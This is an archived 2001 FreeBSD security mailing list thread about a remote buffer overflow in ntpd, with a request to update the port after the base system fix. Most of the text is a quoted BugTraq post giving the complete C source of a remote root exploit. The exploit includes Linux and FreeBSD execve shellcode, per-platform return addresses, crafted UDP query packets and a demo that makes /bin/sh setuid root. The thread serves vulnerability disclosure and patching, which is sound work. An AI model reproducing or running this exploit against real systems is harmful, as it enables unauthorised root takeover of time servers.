Date: Wed, 04 Apr 2001 17:10:19 -0700 From: Eli Dart <dart@nersc.gov> To: freebsd-security@FreeBSD.ORG Cc: pat@databits.net Subject: Re: Fwd: ntpd =< 4.0.99k remote buffer overflow Message-ID: <20010405001019.935A027@usul.nersc.gov> In-Reply-To: Message from Poul-Henning Kamp <phk@critter.freebsd.dk> of "Thu, 05 Apr 2001 01:55:57 %2B0200." <52565.986428557@critter>
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[-- Attachment #1 --]
Any chance these changes could be propagated to the port? It's still
4.0.99k as of 5 minutes ago....ipf rules work in some cases, but not
all......
--eli
In reply to Poul-Henning Kamp <phk@critter.freebsd.dk> :
>
> This has already been fixed in FreeBSD current & stable an hour
> ago or so.
>
> Poul-Henning
>
>
> In message <3ACBB263.2804E9C2@ursine.com>, Michael Bryan writes:
> >
> >Heads up. This just came across BugTraq, will likely affect FreeBSD.
> >As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b.
> >
> >
> >-------- Original Message --------
> >From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
> >Subject: ntpd =< 4.0.99k remote buffer overflow
> >To: BUGTRAQ@SECURITYFOCUS.COM
> >
> >/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl
> */
> >
> >/*
> > * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerab
le
> > * to remote buffer overflow attack. It occurs when building response for
> > * a query with large readvar argument. In almost all cases, ntpd is running
> > * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeser
ver.
> > *
> > * Althought it's a normal buffer overflow, exploiting it is much harder.
> > * Destination buffer is accidentally damaged, when attack is performed, so
> > * shellcode can't be larger than approx. 70 bytes. This proof of concept co
de
> > * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
> > * is possible.
> > *
> > * NTP is stateless UDP based protocol, so all malicious queries can be
> > * spoofed.
> > *
> > * Example of use on generic RedHat 7.0 box:
> > *
> > * [venglin@cipsko venglin]$ cat dupa.c
> > * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
> > * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
> > * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
> > * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
> > * ntpdx v1.0 by venglin@freebsd.lublin.pl
> > *
> > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
> > *
> > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
> > * [1] <- evil query (pkt = 512 | shell = 45)
> > * [2] <- null query (pkt = 12)
> > * Done.
> > * /tmp/sh was spawned.
> > * [venglin@cipsko venglin]$ ls -al /bin/bash
> > * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
> > *
> > */
> >
> >#include <stdio.h>
> >#include <stdlib.h>
> >#include <stdarg.h>
> >#include <string.h>
> >#include <sys/types.h>
> >#include <sys/socket.h>
> >#include <netinet/in.h>
> >#include <netdb.h>
> >#include <unistd.h>
> >#include <arpa/inet.h>
> >
> >#define NOP 0x90
> >#define ADDRS 8
> >#define PKTSIZ 512
> >
> >static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
> >
> >/* generic execve() shellcodes */
> >
> >char lin_execve[] =
> > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> > "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
> >
> >char bsd_execve[] =
> > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
> > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
> > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
> > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
> >
> >struct platforms
> >{
> > char *os;
> > char *version;
> > char *code;
> > long ret;
> > int align;
> > int shalign;
> > int port;
> >};
> >
> >/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
> > * *after* RET address. This values will vary from platform to platform.
> > */
> >
> >struct platforms targ[] =
> >{
> > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> > 0xbfbff8bc, 200, 220, 0 },
> >
> > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> > 0xbfbff540, 200, 220, 0 },
> >
> > { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
> > 0xbffff777, 240, 160, 0 },
> >
> > { NULL, NULL, NULL, 0x0, 0, 0, 0 }
> >};
> >
> >long getip(name)
> >char *name;
> >{
> > struct hostent *hp;
> > long ip;
> > extern int h_errno;
> >
> > if ((ip = inet_addr(name)) < 0)
> > {
> > if (!(hp = gethostbyname(name)))
> > {
> > fprintf(stderr, "gethostbyname(): %s\n",
> > strerror(h_errno));
> > exit(1);
> > }
> > memcpy(&ip, (hp->h_addr), 4);
> > }
> >
> > return ip;
> >}
> >
> >int doquery(host, ret, shellcode, align, shalign)
> >char *host, *shellcode;
> >long ret;
> >int align, shalign;
> >{
> > /* tcpdump-based reverse engineering :)) */
> >
> > char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
> > 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
> > 0x74, 0x75, 0x6d, 0x3d };
> >
> > char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
> > 0x00, 0x00, 0x00, 0x00 };
> >
> > char buf[PKTSIZ], *p;
> > long *ap;
> > int i;
> >
> > int sockfd;
> > struct sockaddr_in sa;
> >
> > bzero(&sa, sizeof(sa));
> >
> > sa.sin_family = AF_INET;
> > sa.sin_port = htons(123);
> > sa.sin_addr.s_addr = getip(host);
> >
> > if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
> > {
> > perror("socket");
> > return -1;
> > }
> >
> > if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
> > {
> > perror("connect");
> > close(sockfd);
> > return -1;
> > }
> >
> > memset(buf, NOP, PKTSIZ);
> > memcpy(buf, q2, sizeof(q2));
> >
> > p = buf + align;
> > ap = (unsigned long *)p;
> >
> > for(i=0;i<ADDRS/4;i++)
> > *ap++ = ret;
> >
> > p = (char *)ap;
> >
> > memcpy(buf+shalign, shellcode, strlen(shellcode));
> >
> > if((write(sockfd, buf, PKTSIZ)) < 0)
> > {
> > perror("write");
> > close(sockfd);
> > return -1;
> > }
> >
> > fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
> > strlen(shellcode));
> > fflush(stderr);
> >
> > if ((write(sockfd, q3, sizeof(q3))) < 0)
> > {
> > perror("write");
> > close(sockfd);
> > return -1;
> > }
> >
> > fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
> > fflush(stderr);
> >
> > close(sockfd);
>
> > return 0;
> >}
> >
> >int main(argc, argv)
> >int argc;
> >char **argv;
> >{
> > extern int optind, opterr;
> > extern char *optarg;
> > int ch, type, ofs, i;
> > long ret;
> >
> > opterr = ofs = 0;
> > type = -1;
> >
> > while ((ch = getopt(argc, argv, "t:o:")) != -1)
> > switch((char)ch)
> > {
> > case 't':
> > type = atoi(optarg);
> > break;
> >
> > case 'o':
> > ofs = atoi(optarg);
> > break;
> >
> > case '?':
> > default:
> > puts(usage);
> > exit(0);
> >
> > }
> >
> > argc -= optind;
> > argv += optind;
> >
> > fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
> >
> > if (type < 0)
> > {
> > fprintf(stderr, "Please select platform:\n");
> > for (i=0;targ[i].os;i++)
> > {
> > fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
> > targ[i].os, targ[i].version, (void *)targ[i].ret);
> > }
> >
> > exit(0);
> > }
> >
> > fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
> > targ[type].os, targ[type].version);
> >
> > ret = targ[type].ret;
> > ret += ofs;
> >
> > if (argc != 1)
> > {
> > puts(usage);
> > exit(0);
> > }
> >
> > fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
> > (void *)ret, targ[type].align, targ[type].shalign);
> >
> > if (doquery(*argv, ret, targ[type].code, targ[type].align,
> > targ[type].shalign) < 0)
> > {
> > fprintf(stderr, "Failed.\n");
> > exit(1);
> > }
> >
> > fprintf(stderr, "Done.\n");
> >
> > if (!targ[type].port)
> > {
> > fprintf(stderr, "/tmp/sh was spawned.\n");
> > exit(0);
> > }
> >
> > exit(0);
> >}
> >
> >--
> >* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
> >* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
> >
> >To Unsubscribe: send mail to majordomo@FreeBSD.org
> >with "unsubscribe freebsd-security" in the body of the message
> >
>
> --
> Poul-Henning Kamp | UNIX since Zilog Zeus 3.20
> phk@FreeBSD.ORG | TCP/IP since RFC 956
> FreeBSD committer | BSD since 4.3-tahoe
> Never attribute to malice what can adequately be explained by incompetence.
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>
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